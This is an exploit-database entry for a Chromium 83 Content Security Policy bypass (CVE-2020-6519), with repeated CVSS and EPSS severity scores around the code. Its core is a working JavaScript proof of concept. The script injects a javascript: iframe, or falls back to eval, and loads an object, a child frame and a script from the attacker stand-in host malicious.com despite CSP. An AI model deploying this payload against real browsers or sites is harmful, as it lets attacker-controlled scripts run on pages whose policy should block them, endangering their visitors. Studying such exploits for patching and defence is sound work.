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zdtGal Weizman1337DAY-ID-35405
HistoryDec 04, 2020 - 12:00 a.m.

Chromium 83 - Full CSP Bypass Exploit

2020-12-0400:00:00
Gal Weizman
0day.today
46

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

8 High

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.149 Low

EPSS

Percentile

95.7%

#Title: Chromium 83 - Full CSP Bypass
#Date: 02/09/2020
#Exploit Author: Gal Weizman
#Vendor Homepage: https://www.chromium.org/ 
#Software Link: https://download-chromium.appspot.com/
#Version: 83
#Tested On: Mac OS, Windows, iPhone, Android
#CVE: CVE-2020-6519

(function(){

		var payload = `
			top.SUCCESS = true;
			var o = document.createElement("object");
			o.data = \`http://malicious.com/bypass-object-src.html\`;
			document.body.appendChild(o);
			var i = document.createElement("iframe");
			i.src = \`http://malicious.com/bypass-child-src.html\`;
			document.body.appendChild(i);
			var s = document.createElement("script");
			s.src = \`http://malicious.com/bypass-script-src.js\`;
			document.body.appendChild(s);
		`;

		document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>";
		setTimeout(() => {
				if (!top.SUCCESS) {
						XXX.contentWindow.eval(payload);
				}
		});

}())

// further information: https://github.com/weizman/CVE-2020-6519

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

8 High

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.149 Low

EPSS

Percentile

95.7%